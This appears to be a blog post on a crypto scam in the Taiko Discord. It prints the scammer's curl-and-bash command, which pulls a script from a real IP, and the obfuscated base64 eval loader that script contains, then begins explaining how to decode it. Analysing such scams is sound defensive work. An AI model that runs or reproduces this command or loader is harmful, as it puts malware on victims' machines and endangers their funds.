binacs.space - Blogs

taiko.xyz scam

Background

When executing a cross-chain request from TAIKO L2 to ETH L1, the contract execution on the ETH side failed.

TAIKO Tx: 0x382daadf70bde41356994dba550a7a03d93fcb6fe419feac736129296b9c766e

ETH Tx: 0xd4bbe82f856b3ca8ed7914705518e800b4e8e948adc707edcb0f218c4aa90458

I guessed that this was a logical problem with the contract and asked for help in the TAIKO Discord community. However, no official personnel responded, and instead, scammers tried to defraud me.

Let’s see what the scammers will do.

Analysis

The scammer wants me to execute the following script directly in the terminal to help complete the troubleshoot process:

curl -s -O http://65.38.121.75/dmasJshdKKahVsb/troubleshoot.sh && bash troubleshoot.sh “PASSWORD”

We certainly cannot trust this type of remote script and execute it directly. Let’s look at its content to determine what it is going to do:

phost="http://158.120.3.109:3000"

z="
";TBz='bnBH';xHz='YlhC';eOz='VWJX';KOz='MHhU';xPz='a1RG';CEz='VjNo';DTz='VnZN';cPz='Y0Zs';hz='bEJh';BGz='V2pC';fLz='TUUw';PPz='T2JV';gCz='VEpu';rJz='d3hV';uCz='aWJr';RMz='eFNu';iJz='T2FG';eNz='U2pW';Az='bash';pBz='Rk1s';TSz='ZGhi';jRz='SldX';hIz='VEl4';UOz='bVJM';MRz='cFdi';rEz='V1JY';jCz='VmlS';CNz='U25a';ZBz='YWFV';GUz='RkRT';QCz='bGh3';GLz='MFVs';yGz='Qkdi';LBz='RXRT';ZGz='MVZP';mMz='R1ZJ';xCz='ZDFO';EKz='WGJH';wTz='U205';EPz='VVJs';ePz='cHBZ';yQz='WjNo';SEz='NVNT';XDz='U1RX';aHz='Y0Vw';ATz='UlhS';qKz='Qk5W';JRz='Rmhp';AOz='c1Zr';gNz='QnFZ';eDz='V0dW';hLz='VkpZ';MTz='S2NG';fNz='UmJY';UMz='WW0x';NJz='VFZZ';QNz='VlZI';vBz='RkY2';LHz='elYy';TPz='V2hU';IMz='Yldo';eLz='alpV';PEz='WXpj';vMz='S01s';XPz='bWhY';LCz='SjRO';bEz='VW96';lTz='U2tz';rTz='RFJq';xIz='SVVt';fFz='VmRG';LJz='cEVV';sDz='Qk9V';xz='ZDRN';nPz='ZEtW';sz='S1kw';rPz='eHVW';BKz='VVRW';aJz='TlZs';wNz='RnlV';sGz='VEZ1';VJz='YW13';EUz='RTV2';yOz='RTlO';dBz='UFlq';uDz='ZFZF';CHz='WmF6';jz='YUds';Rz='Rnph';vOz='RlRu';CTz='YVYw';VBz='R1Rr';LFz='bTVU';dTz='VldN';Bz=' -c ';IEz='V3BP';iBz='Z3hW';rMz='TldS';PKz='QklV';fz='UTBG';WEz='TXhZ';PMz='V3BH';bRz='VWJU';vQz='R2Mx';DSz='ZWxS';aEz='bGhW';vIz='MTRa';JKz='Wk5W';EHz='MWQ0';mNz='WWta';dGz='WlZW';QTz='eldX';iHz='WlZV';tz='TnJi';pNz='REZU';FKz='aFBU';uQz='Vm5w';ANz='NWtX';fTz='WndW';IOz='YjNs';SQz='MnhD';TGz='MFlr';jKz='U2xa';AJz='Vmwz';fOz='aHJV';QRz='QnhU';pHz='VVZs';mEz='eEpZ';NKz='VFhk';nCz='SXhi';wKz='VlpF';EDz='cEZh';kQz='eFdS';JSz='c1NG';jIz='eVVr';kJz='Vzlh';OPz='bHBH';YQz='MTRW';PJz='TlhW';XSz='WjZW';nNz='T1Ns';MPz='TXdi';xTz='Wk1q';JTz='OWFS';HIz='WFRr';EQz='UjJX';vTz='azB4';NQz='dDZW';PRz='YU1I';pKz='VmtS';QJz='bVJU';xSz='V20x';tOz='MVpq';WJz='eFdr';BPz='MFpE';XEz='VzFT';FEz='bFJZ';UHz='U2FX';XJz='VmtW';oGz='V3Rz';XLz='ZDFw';rQz='SFNu';gHz='VlVW';RNz='YkZw';OEz='YVJG';SLz='c2NG';ZIz='VzVa';wLz='WGJG';oEz='U2xF';sLz='UjFK';bFz='a0ph';BQz='Vll3';JLz='YlU1';YJz='MlJY';aFz='TlZU';BDz='RlpS';kCz='bkJK';hKz='WlZl';QFz='WkVw';MBz='UlZa';HBz='RVpy';LEz='UmFS';iGz='MVZG';IUz='S1NJ';BLz='VEZX';IFz='VVZk';ZPz='dVZV';oLz='UlRW';yBz='Qkda';aIz='ZWtw';gMz='b2Ft';gFz='Um01';SJz='T2NG';MKz='R2Rs';NOz='cFVW';yKz='YWEw';NMz='aVYw';KQz='a1pW';dKz='RXdh';USz='VVpJ';lIz='a0pw';bKz='VTIx';YOz='azFs';EBz='VmxK';SCz='WE9Y';PDz='WVZr';lSz='Vmts';Dz='ase6';RLz='VDFW';YGz='bHVV';KEz='R1Fs';eRz='TUZk';SMz='Ulhh';LKz='VjBW';iSz='WVZW';RRz='a2hh';oRz='VjJX';lMz='Sk9T';ZFz='NWJs';IIz='eGFi';iFz='WjJX';aTz='NFRX';lBz='V1Fs';MEz='MDVz';rOz='U2Ft';qz='SGM0';kOz='a2FV';gz='MFdY';HHz='VlRi';lQz='bFZy';vJz='QlJW';ZDz='bFZH';iKz='RlZy';aPz='ZHJO';GGz='dVUx';LNz='UnRT';XMz='MlJI';uBz='aHdV';FCz='VmpG';IPz='RVFt';pSz='YUhO';FHz='V1Za';YIz='RXdN';aQz='VWtK';vSz='RlZN';QHz='c1pF';pIz='TUd4';XNz='RlpW';RHz='OWlN';kRz='VFZU';WMz='NVlW';jDz='S1NG';ZJz='VWtS';kLz='VXlW';DLz='c1Vs';rKz='VkdV';MGz='YzFk';ITz='YUZZ';BMz='dVFt';bGz='eGNG';PTz='UlVv';cMz='Y2xS';LLz='STVi';uIz='VFZV';GMz='SnNi';uMz='a1px';MUz='aUNn';VTz='UnFV';fSz='eVNY';hSz='WGhw';tTz='MVRV';RBz='UFdG';GDz='YTNn';VEz='YVJt';hRz='WEJK';PCz='QndU';KSz='WnRj';SOz='VWJF';ORz='WkZa';jPz='VjFo';sHz='VjAx';kHz='Tlli';bIz='ellt';HPz='U0dG';rGz='cGxW';mJz='elpH';qCz='MVlq';UIz='eHJV';JQz='UnNW';xJz='VVRC';xBz='VVYz';QOz='dDVW';uz='RFZT';lRz='Mldq';DEz='NlpE';hOz='TWxs';qOz='UW1o';ERz='TlNW';gIz='VnhX';NEz='VWtW';SIz='VWto';UGz='WndX';pJz='Um1w';bQz='VVNt';QLz='VTVE';yRz='Y0RK';TFz='ak53';uRz='Tlha';YPz='UlVa';HCz='RnNT';Hz='YmFz';YRz='TWps';oMz='TmEx';Jz='YyAi';xDz='bkJG';KHz='Ym1o';XRz='RXRh';vFz='YkU1';vEz='RTFX';JDz='MVY2';bMz='VlZK';kEz='Ykc1';wCz='VEJH';JMz='cFRX';AFz='bUZy';NHz='TVZK';dMz='RVFq';JNz='R3h5';YSz='bk5U';TJz='Rlhi';NLz='YU1H';YEz='U0dK';pRz='VzVz';aBz='MXJj';FOz='VXRr';YFz='WkRJ';MDz='MHda';kFz='UkZG';vGz='b3di';IQz='YVUx';nFz='RFYy';AMz='ZVZO';CIz='WXpG';jBz='bXhh';VQz='Rlhk';lPz='RlZS';HRz='c1Uy';Nz='LWQg';Sz='Q0F0';HDz='MVQw';LUz='SkVB';PLz='VmRr';TUz=' "$@';hNz='bFph';vKz='UnNV';EFz='YmxO';FPz='VTBX';pFz='c1Ft';wBz='VWpS';rIz='MXdh';gDz='QlRi';YHz='dHNO';qRz='UW1S';UBz='YzFW';uGz='T1Fs';iOz='dGJF';LIz='U1dF';ZCz='TTJN';vz='V0Zw';nQz='aFZH';dJz='YzFR';LPz='ME0x';VLz='UktZ';ZEz='SVdt';cJz='MFZL';ZSz='TFdU';BIz='bFJH';fBz='bU5J';qDz='TVVW';WCz='S1dH';LGz='VzFr';GHz='dWFE';VMz='RmVV';tRz='b01W';OSz='dGpO';hCz='TUZw';hDz='bVIz';CLz='UmxK';nTz='bFZi';HTz='VzVP';NBz='TVdX';pGz='TlZS';uSz='WVVt';GIz='YVdG';THz='VVZo';KKz='a1p1';IDz='UktU';hGz='TUhB';cGz='VGxw';LRz='WlRX';WFz='ZGxT';VNz='U2xJ';ISz='eFRW';sKz='WGRQ';KJz='ak1r';AGz='VTVD';KFz='RXdS';nLz='d01V';dNz='eE9R';PSz='V1JX';EEz='QTVO';cSz='ZEVw';dSz='WnVV';AKz='TUho';lEz='alJX';NIz='R3RT';sSz='akpP';nJz='MUtj';HLz='b3lX';qNz='Vldo';CBz='MTVX';PNz='QkdO';SUz='")" ';SFz='WnVW';wQz='NVdh';ODz='Y1ZK';SBz='WmFW';WDz='Ums1';eSz='VGxv';QPz='WlpV';rFz='VjJS';JEz='UzJK';gSz='cFJi';WSz='a1RW';qQz='UjJO';SGz='ZWtv';GFz='SmFN';HQz='VTJ0';HMz='RmhX';pMz='bDNX';mIz='M2Qx';kIz='UlJi';eQz='VlZk';fMz='bXgx';TNz='eEpa';MLz='VGtK';SDz='VkZo';fEz='blJX';lFz='WFpH';oBz='VTBW';AQz='ZGth';UDz='UXdN';aDz='VG10';YBz='Vkcx';CSz='a2RO';gBz='VWxw';WOz='c1dW';cLz='S1Qx';iDz='VVRK';wSz='R3h1';kPz='b1JH';pTz='c01W';rz='U1VO';rCz='SlNT';TQz='WkVa';aMz='SnFZ';FGz='TUVa';SRz='eFdY';bDz='Wk1s';vNz='U1JG';xMz='Vkpp';qBz='Uklh';eHz='VG1G';sOz='d3hW';Vz='aGlZ';Zz='UWdQ';UKz='R1Iy';Yz='Z0xX';OGz='UmxW';pz='ZFFS';VOz='WlZa';EJz='RVJQ';dLz='VjZV';KNz='b1dt';RKz='V2xV';lOz='MHdi';yIz='bE5N';CUz='cFFt';BBz='aFIw';oDz='WldT';qMz='Vlpq';RGz='bTVa';QIz='MXNR';OJz='eWFI';lHz='RTVo';tBz='VVRr';qIz='RVVX';CJz='b1Yw';Cz='"$(b';RDz='RlV5';jJz='WXdO';CDz='VmpK';JGz='UmJV';DQz='WmJX';FDz='RUpP';QMz='WVZJ';JFz='a1Ns';IJz='bGx0';FNz='VWRL';qGz='WGNF';IHz='bVIy';iCz='VlRU';Tz='WXlB';OLz='eEVV';UCz='V1J2';oFz='V1c1';oNz='SXll';jHz='eGNW';nDz='d1ZG';gOz='ako0';cRz='bHBa';jOz='MUpa';CCz='WVds';VFz='R2FG';yLz='RmRG';oOz='MFlU';sQz='TlBX';tDz='bnBD';JCz='U0Zw';gJz='MDVK';DUz='bFpX';nKz='Vk5S';XKz='YjFs';DPz='TVc1';KBz='VlVi';EIz='eEVX';VIz='VEpr';OIz='TW5n';GEz='Vk1r';TOz='NVpW';AIz='cG9i';UPz='WkVk';eMz='UmpS';tNz='Rm95';DCz='VmlX';uOz='ZUdK';KDz='VWpa';iLz='Vms5';cFz='TWsx';MNz='blZX';JOz='WGJF';WLz='bGRu';dDz='bXRP';NNz='Yms1';GPz='akJ3';XTz='ZDFs';wJz='MlJL';COz='M0JX';iNz='YjFw';FFz='VlRr';oJz='RTlZ';cQz='OWtS';JPz='bFdN';UTz='UFIz';iMz='REpU';CQz='V25k';ZOz='VjFK';YDz='cHNl';hJz='VVc1';tEz='R1NF';wGz='RVJS';DOz='WVZS';UEz='UW5S';CKz='aHNZ';uJz='d1Ru';SSz='VlpG';DIz='aVJX';HUz='VXNp';ELz='MUpS';gRz='SmhW';JBz='V2Ns';pCz='VjJz';aRz='Y0Zo';MHz='eG9R';CPz='SmtU';QUz='JEAi';wPz='VFZk';DNz='WFJF';QEz='TURF';PQz='YVZF';qTz='cEda';UUz='"';RSz='U1ZY';URz='RWt4';AUz='M2xK';EOz='c2Mx';Iz='aCAt';RPz='VFZa';GTz='NUpV';DDz='bmQx';ULz='a1Jo';sBz='YXpW';mGz='VFdH';TMz='azVE';NDz='VVV4';fPz='ZWxs';ASz='WGFr';HKz='UjFG';pDz='MWxy';DBz='akIw';uFz='Vk5Z';YCz='bFpo';oKz='R3hS';WGz='WkU1';jNz='RlpG';IGz='bG93';DKz='V1ho';sJz='MWRz';lNz='VXBH';PBz='Mk5I';cNz='NlYy';CMz='aFNN';HSz='MjFP';hFz='VVZr';LQz='YTNC';FLz='Vmxk';sEz='WVcx';fQz='a1RF';gKz='ellW';AEz='Tkha';yFz='RmRr';XIz='cFRN';VSz='VDBk';EMz='VjJ4';RUz='Cg==';qHz='SkNa';HOz='aHdZ';BSz='NUxZ';tLz='SVlV';kSz='a0po';CRz='Umsx';sCz='RTFZ';ZTz='bXhZ';IKz='c1Fs';WBz='dGxi';wFz='aGEy';ONz='cFVU';BFz='YkVS';gTz='RTVY';aNz='bHBX';cTz='VEpa';IBz='VlVa';OKz='a1Ju';xKz='VW01';tFz='VXhj';aOz='RFdU';qFz='UkhT';eGz='R01G';ETz='VlJJ';eBz='QnNi';UFz='VW1K';iQz='YTFw';eTz='MVpF';qEz='NVRW';OBz='eGtS';qLz='TlZh';dOz='Umxo';PFz='RkZY';qJz='TmFt';wz='YVls';ZLz='Sk9h';LSz='R2hT';DGz='Rlha';DHz='VnhW';SHz='a28x';mFz='RldN';XHz='T1lX';WPz='NVVX';DJz='MUZi';kBz='UzFS';FRz='M2hV';VCz='VFVk';DMz='WEJ3';oPz='RkZZ';MSz='ZW1o';FSz='cFhS';jTz='WjZV';bz='SUNK';MOz='U1ZW';KCz='cVRU';tJz='UTFr';hQz='RzVU';uKz='VlRV';kDz='SlVi';GKz='VVZz';bSz='Rk5W';fIz='VFJU';Xz='TmpR';KTz='V1J6';cHz='RnhV';YMz='Ulhs';NPz='QXhi';aGz='UWxv';rHz='REJ3';TEz='MlF6';cKz='MFdW';nBz='RUpy';TRz='bFVS';MCz='bGRF';PUz='aCAi';fKz='VlZv';FIz='a2RP';mCz='R1dG';eFz='ZDRZ';UQz='U05W';Lz='YXNl';FMz='ak5X';tHz='WFRt';ACz='RlUx';BOz='WlZh';nHz='bEV3';DFz='UktV';YKz='NlRr';ez='bnBo';oTz='WGhy';MMz='WkZk';FTz='Ykd0';XGz='VlZ6';fCz='cE5U';RQz='QlpN';sRz='WWto';TDz='d1Ft';eKz='ekpU';RIz='MlZ0';INz='RmhW';kTz='MVZT';GNz='V0Za';GBz='VldW';dRz='VlZH';nEz='ekIw';RCz='YUZG';VDz='VUpq';KLz='S1dq';LOz='VWRX';dHz='MWhz';uTz='VjBh';cEz='V1RJ';eEz='SnRU';oQz='aHlX';pPz='VW1w';ZKz='OU5N';mBz='aGhS';vLz='V0pW';wHz='RWhX';mz='bXBS';CFz='UlYy';mPz='RFpW';yEz='Vk9h';bLz='VDBS';TTz='Y0RW';bPz='V0V4';vPz='RUpX';cBz='UnpW';nSz='aGFZ';SPz='NmFH';gPz='clRr';ENz='a3hZ';oHz='U21s';ZHz='VlJY';xOz='TlZa';dCz='VGtW';RTz='cE9T';XBz='Vlpa';BHz='VGtO';pOz='Rkpx';tIz='Y0hw';lCz='WWtS';iPz='a0p3';STz='MDFG';vCz='SjNX';Oz='PDw8';vDz='eWVF';jQz='VFZH';GJz='aFYw';sMz='VmJF';fDz='clNq';ALz='NUNZ';eCz='aU0x';xEz='elUx';iIz='YzJR';rSz='WlBZ';WTz='akJa';vRz='SFph';OHz='aU1t';ZNz='c2RW';wMz='a3lO';yz='VlJF';xNz='MnRh';nz='WjB4';QKz='bXBD';BJz='V1RC';hEz='cVRV';Ez='4 -d';OFz='QnNS';APz='VjA1';uHz='cGhW';MJz='VmhT';sIz='MWRG';PGz='WEF6';eIz='VGtw';VPz='S1JF';FQz='cE5i';HJz='WnNN';GRz='VkVo';UJz='RkpO';LDz='VU1F';RJz='WWtk';TLz='RnRU';nGz='eE9Z';lLz='Rmh3';ZQz='MVV4';uLz='ZGFh';GCz='YVlX';jFz='akJz';xFz='dzFW';KRz='U0Za';OOz='YzVi';IRz='Ukdi';QSz='Y0ZS';mOz='M2RU';GSz='V3hN';mQz='Y0Za';ESz='clRs';yJz='R2Js';bCz='Vm9V';Kz='JChi';aCz='MVdW';wEz='ZWxa';BNz='bGRH';nRz='V01E';cIz='MUtk';aLz='M2cx';YLz='RmFF';jLz='bGJG';mRz='WkdG';QGz='WWpK';sNz='ZFNT';yPz='RVZG';jMz='YWtK';HEz='NU1W';pLz='WFJL';WIz='VmFI';dEz='d05X';kMz='SFpE';tPz='c1Js';QQz='d1Jq';WQz='R2xX';wIz='UkUx';JHz='R3BO';dz='bHRS';ECz='RkV4';ySz='ck5W';dPz='WFdG';az='RHc4';kKz='aVJr';mDz='V0dj';oSz='VTF1';GQz='RVp1';tGz='VTFW';MIz='NVhj';OTz='bXRY';pEz='d1Jt';uPz='WlVi';qPz='aVZt';nOz='Ym1z';nMz='UWxw';CGz='c1JG';AHz='bE5W';lDz='RXRO';dFz='NVpV';rDz='ak0z';YNz='V00w';cCz='MDFI';Gz=' "\';xRz='bE5G';bJz='WnNW';OMz='cDBW';BCz='Tmxa';xGz='S1VU';Uz='aUpD';TKz='QmFX';fHz='cmJE';bTz='VlhP';GOz='elQx';fJz='TmhS';iTz='U2Vr';hPz='SmxW';mHz='YTJ3';wDz='dGlS';cDz='WkZV';OCz='aFZu';hTz='T1d0';NCz='U1RW';yNz='VTFS';jSz='ZFdU';Mz='NjQg';BEz='RFJW';HGz='Vk9R';mSz='NVQx';gEz='Ym5C';QDz='OWxi';hHz='M0JL';ARz='Wk1F';SKz='d1Ju';OUz='KSIg';yCz='V1VY';NRz='MWxz';NTz='RnNV';uNz='YkVw';KPz='MmhY';fGz='bHRN';bBz='SFJV';iz='VXBE';rBz='elJO';rRz='UldW';UNz='VVJv';ZMz='VmJr';FBz='Vlds';QBz='U25O';BTz='bGhU';ICz='a1pQ';KIz='WWxk';cOz='Mk15';VRz='S1NH';NSz='dVZX';jEz='MWt5';wRz='RVVW';yTz='VlNV';uEz='OUha';mKz='ZDA5';sPz='MFJG';KMz='eGFk';iRz='WkVW';ROz='YldG';eJz='eWJF';gLz='d1pV';fRz='c1Rr';hBz='V01u';kNz='WmFN';tQz='Rlph';KUz='Q0Fp';VHz='SldW';TCz='RlRW';Wz='WE5s';lJz='UldS';REz='MlUy';tSz='ZEU5';NFz='Q1dq';WNz='eFdu';NUz='PT0i';kz='WldF';OQz='bTVz';gQz='MHla';vHz='MDVN';PIz='eVdX';TIz='U2Jt';bNz='TUhC';WKz='bXRL';ABz='U2t0';XOz='TnFW';pQz='V3hr';JJz='TlZk';ILz='a1JS';Pz='ICJc';YTz='VldU';JIz='RVoz';KGz='cE9a';sTz='TUU1';lKz='VVpS';bHz='bFZU';FUz='SmEx';NGz='R1dq';tMz='ZFVh';lz='NXNU';LTz='Wkcx';dIz='Rkp1';ADz='aFVi';nIz='RXli';tKz='VmtK';xQz='VTF0';iEz='Vndi';cz='Y0Ns';hMz='SnRk';MQz='V1dq';kGz='bVZW';aKz='a2w2';HFz='R3hF';tCz='VGsx';yMz='MVZX';Fz=' <<<';LMz='bGxy';wOz='R2NW';XFz='R3hM';VGz='VkZY';DRz='V1Js';Qz='Cllt';jGz='ZHdT';lGz='TVhG';VKz='NUtZ';oIz='RUph';FJz='VjNS';dQz='MGw1';ZRz='bG94';mTz='d2Qz';WHz='Ym14';PHz='Ymxk';rNz='RFlV';yDz='VFVj';mLz='UW1R';qSz='VFZW';bOz='Qm9R';oCz='ekZh';BRz='VEZh';POz='YU1X';sFz='TFpW';JUz='Z1lt';WRz='UXla';XCz='VkdX';HNz='WFpG';aSz='Sktj';RFz='Uk1F';yHz='b1Vu';SNz='bFJX';rLz='RU5o';gGz='Vlph';BUz='Y0Vs';EGz='RXBS';xLz='RjRa';MFz='VlU1';oz='WFVX';XQz='M1dX';

eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$FBz$GBz$HBz$IBz$JBz$KBz$LBz$MBz$NBz$OBz$PBz$QBz$RBz$SBz$TBz$UBz$VBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$jBz$kBz$lBz$mBz$nBz$oBz$pBz$qBz$rBz$sBz$tBz$uBz$vBz$wBz$xBz$yBz$ACz$BCz$CCz$DCz$ECz$FCz$GCz$HCz$ICz$JCz$KCz$LCz$MCz$NCz$OCz$PCz$QCz$RCz$SCz$TCz$UCz$VCz$WCz$XCz$YCz$ZCz$aCz$bCz$cCz$dCz$eCz$fCz$gCz$hCz$iCz$jCz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$tCz$uCz$vCz$wCz$xCz$yCz$ADz$BDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$KDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$SDz$TDz$UDz$VDz$WDz$XDz$YDz$ZDz$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$jDz$kDz$lDz$mDz$nDz$oDz$pDz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$aCz$AEz$BEz$CEz$DEz$EEz$FEz$jz$GEz$HEz$IEz$JEz$KEz$LEz$MEz$NEz$OEz$PEz$FDz$QEz$REz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$bEz$cEz$dEz$eEz$fEz$gEz$hEz$iEz$jEz$kEz$lEz$mEz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$vEz$wEz$xEz$yEz$AFz$BFz$CFz$DFz$wCz$EFz$FFz$GFz$HFz$IFz$JFz$KFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$dFz$eFz$fFz$gFz$hFz$iFz$jFz$kFz$lFz$mFz$nFz$oFz$pFz$qFz$fEz$rFz$sFz$tFz$uFz$vFz$wFz$xFz$yFz$oEz$pEz$qEz$AGz$BGz$CGz$DGz$EGz$FGz$GGz$HGz$IGz$BFz$JGz$KGz$LGz$MGz$NGz$OGz$PGz$QGz$JFz$KFz$RGz$SGz$TGz$UGz$VGz$WGz$XGz$YGz$ZGz$aGz$bGz$ADz$cGz$dGz$eGz$fGz$gGz$hGz$iGz$jGz$kGz$lGz$mGz$nGz$oGz$pGz$qGz$rGz$sGz$tGz$uGz$vGz$wGz$rFz$xGz$yGz$AHz$BHz$CHz$DHz$EHz$FHz$GHz$HHz$IHz$BGz$CGz$DGz$JHz$KHz$LHz$MHz$IGz$NHz$OHz$DFz$wCz$PHz$QHz$RHz$SHz$THz$UHz$VHz$LFz$WHz$XHz$YHz$ZHz$aHz$bHz$cHz$dHz$eHz$fHz$gHz$hHz$iHz$jHz$kHz$lHz$mHz$iGz$jGz$nHz$oHz$pHz$qHz$rHz$sHz$tHz$uHz$vHz$tGz$uGz$vGz$wHz$xHz$yHz$AIz$BIz$CIz$DIz$EIz$FIz$GIz$HIz$IIz$JIz$KIz$LIz$MIz$NIz$OIz$PIz$QIz$RIz$SIz$TIz$UIz$VIz$xCz$WIz$XIz$HFz$IFz$JFz$YIz$ZIz$aIz$bIz$cIz$dIz$eIz$fIz$gIz$hIz$iIz$jIz$kIz$lIz$KIz$mIz$nIz$oIz$pIz$qIz$rIz$sIz$tIz$uIz$vIz$oGz$wIz$xIz$yIz$AJz$BJz$CJz$DJz$EJz$FJz$GJz$HJz$IJz$JJz$KJz$LJz$MJz$NJz$OJz$PJz$QJz$RJz$SJz$TJz$UJz$VJz$WJz$XJz$YJz$ZJz$aJz$bJz$cJz$dJz$eJz$fJz$gJz$hJz$iJz$jJz$kJz$lJz$mJz$nJz$oJz$pJz$qJz$rJz$sJz$tJz$uJz$vJz$wJz$xJz$yJz$aFz$bFz$AKz$BKz$CKz$fFz$DKz$EKz$FKz$GKz$HKz$IKz$JKz$KKz$LKz$MKz$vGz$wGz$rFz$xGz$yGz$AHz$NKz$OKz$PKz$QKz$RKz$SKz$TKz$UKz$BGz$CGz$DGz$EGz$FGz$GGz$HGz$IGz$BFz$JGz$VKz$WKz$XKz$YKz$ZKz$aKz$bKz$cKz$dKz$eKz$fKz$gKz$hKz$iKz$jKz$kKz$tGz$lKz$mKz$lBz$nKz$oKz$pKz$qKz$rKz$sKz$tKz$uKz$vKz$wKz$xKz$yKz$ALz$BLz$CLz$DLz$JKz$ELz$FLz$GLz$HLz$ILz$JLz$KLz$LLz$AHz$MLz$NLz$OLz$PLz$oEz$pEz$qEz$QLz$RLz$SLz$TLz$ULz$IBz$GGz$HGz$IGz$BFz$CFz$VLz$WLz$XLz$YLz$ZLz$aLz$bLz$cLz$dLz$eLz$fLz$gLz$tFz$hLz$iLz$jLz$kLz$lLz$mLz$nLz$oLz$pLz$xJz$yJz$qLz$rLz$sLz$tLz$uLz$vLz$BGz$wLz$xLz$yLz$AMz$BMz$CMz$DMz$EMz$FMz$GMz$HMz$IMz$JMz$KMz$LMz$MMz$NMz$OMz$PMz$QMz$RMz$SMz$TMz$UMz$VMz$WMz$ULz$IBz$GGz$HGz$XMz$YMz$ZMz$aMz$bMz$cMz$dMz$eMz$fMz$bKz$gMz$hMz$iMz$jMz$kMz$lMz$mMz$nMz$oMz$pMz$qMz$rMz$sMz$tMz$uMz$oBz$vMz$wMz$xMz$GDz$yMz$ANz$BNz$CNz$DNz$ENz$FNz$GNz$HNz$INz$JNz$EMz$KNz$LNz$MNz$NNz$ONz$PNz$QNz$RNz$SNz$TNz$UNz$VNz$WNz$XNz$YNz$BGz$ZNz$SFz$aNz$bNz$cNz$dNz$cCz$eNz$fNz$gNz$hNz$iNz$jNz$kNz$lNz$mNz$nNz$oNz$pNz$qNz$rNz$sNz$tNz$uNz$vNz$wNz$xNz$yNz$AOz$BOz$COz$DOz$EOz$wMz$FOz$JLz$GOz$HOz$fFz$IOz$JOz$KOz$LOz$MOz$HNz$INz$JNz$EMz$KNz$LNz$MNz$NNz$NOz$OOz$AHz$MLz$POz$QOz$PLz$ROz$SOz$TOz$UOz$VOz$WOz$XOz$YOz$ZOz$aOz$bOz$cOz$dOz$eOz$fOz$gOz$hOz$iOz$rMz$jOz$hJz$kOz$lOz$mOz$nOz$oOz$lMz$pOz$qOz$rOz$sOz$tOz$uOz$vOz$vJz$wJz$xJz$wOz$xOz$yOz$APz$BPz$CPz$fFz$DPz$EPz$FPz$GPz$HPz$IPz$JPz$KPz$FLz$LPz$MPz$wGz$rFz$xGz$NPz$OPz$CIz$PPz$QPz$PLz$RPz$SPz$TOz$TPz$UPz$VPz$WPz$XPz$YPz$ZPz$aPz$bPz$cPz$dPz$ePz$jBz$fPz$gPz$hPz$iPz$jPz$kPz$lPz$LFz$MFz$mPz$nPz$oPz$pPz$qPz$rPz$sPz$pGz$tPz$uPz$vPz$wPz$xPz$aFz$bFz$pIz$yPz$AQz$BQz$CQz$DQz$EQz$jFz$kFz$HNz$FQz$GQz$HQz$IQz$JQz$KQz$LQz$MQz$LLz$AHz$MLz$POz$NQz$OQz$PQz$QQz$RQz$SQz$TQz$UQz$VQz$WQz$hCz$XQz$YQz$ZQz$aQz$OHz$DFz$wCz$PHz$bQz$cQz$dQz$eQz$fQz$gQz$hQz$iQz$jQz$kQz$lQz$mQz$nQz$oQz$pQz$qQz$rQz$sQz$tQz$uQz$vQz$nIz$oIz$pIz$qIz$wQz$xQz$yQz$ARz$ALz$BRz$CRz$DRz$ERz$FRz$GRz$HRz$IRz$JRz$KRz$LRz$MRz$NRz$ORz$PRz$QRz$RRz$QMz$SRz$TRz$URz$wPz$VRz$WRz$XRz$YRz$GGz$HGz$ZRz$aRz$bRz$cRz$dRz$eRz$fRz$gRz$hRz$iRz$gMz$jRz$kRz$rFz$lRz$OFz$PFz$mRz$nRz$oRz$pRz$qRz$rQz$rRz$wJz$sRz$tRz$uRz$vRz$pIz$wRz$AQz$xRz$yRz$ASz$BSz$CSz$DSz$ESz$FSz$GSz$tGz$uGz$vGz$wHz$xHz$yHz$AIz$BIz$CIz$DIz$OLz$HSz$GIz$sMz$ISz$AGz$BGz$JSz$KSz$LSz$MSz$NSz$OSz$PSz$QSz$RSz$DFz$wCz$EFz$SSz$TSz$USz$VSz$WSz$XSz$YSz$MFz$ZSz$aSz$bSz$cSz$RFz$dSz$ZGz$eSz$fSz$gSz$hSz$iSz$eGz$jSz$kSz$lSz$mSz$nSz$oSz$pSz$qSz$rSz$sSz$tSz$uSz$vSz$wSz$xSz$ySz$ATz$BTz$WHz$CTz$DTz$ETz$FTz$JGz$GTz$HTz$ITz$dEz$JTz$KTz$LTz$MTz$NTz$OTz$PTz$QTz$RTz$STz$TTz$UTz$VTz$WTz$XTz$YTz$XJz$ZTz$wPz$aTz$bTz$cTz$dTz$eTz$fTz$gTz$hTz$iTz$jTz$kTz$lTz$mTz$nTz$oTz$DOz$pTz$qTz$rTz$sTz$tTz$uTz$vTz$wTz$xTz$yTz$AUz$BUz$CUz$DUz$EUz$rz$FUz$GUz$HUz$IUz$JUz$Rz$KUz$LUz$MUz$NUz$OUz$Hz$PUz$QUz$RUz$SUz$Az$TUz$UUz"

Obviously, this is a BASE64 obfuscated script (Self-Extracting Script), and it is difficult for us to directly understand its content. Fortunately, the obfuscation process is very simple. We don’t need to worry about variable mapping. We can know the code before obfuscation by replacing eval with echo.

We will get:

bash -c "$(base64 -d <<< "\
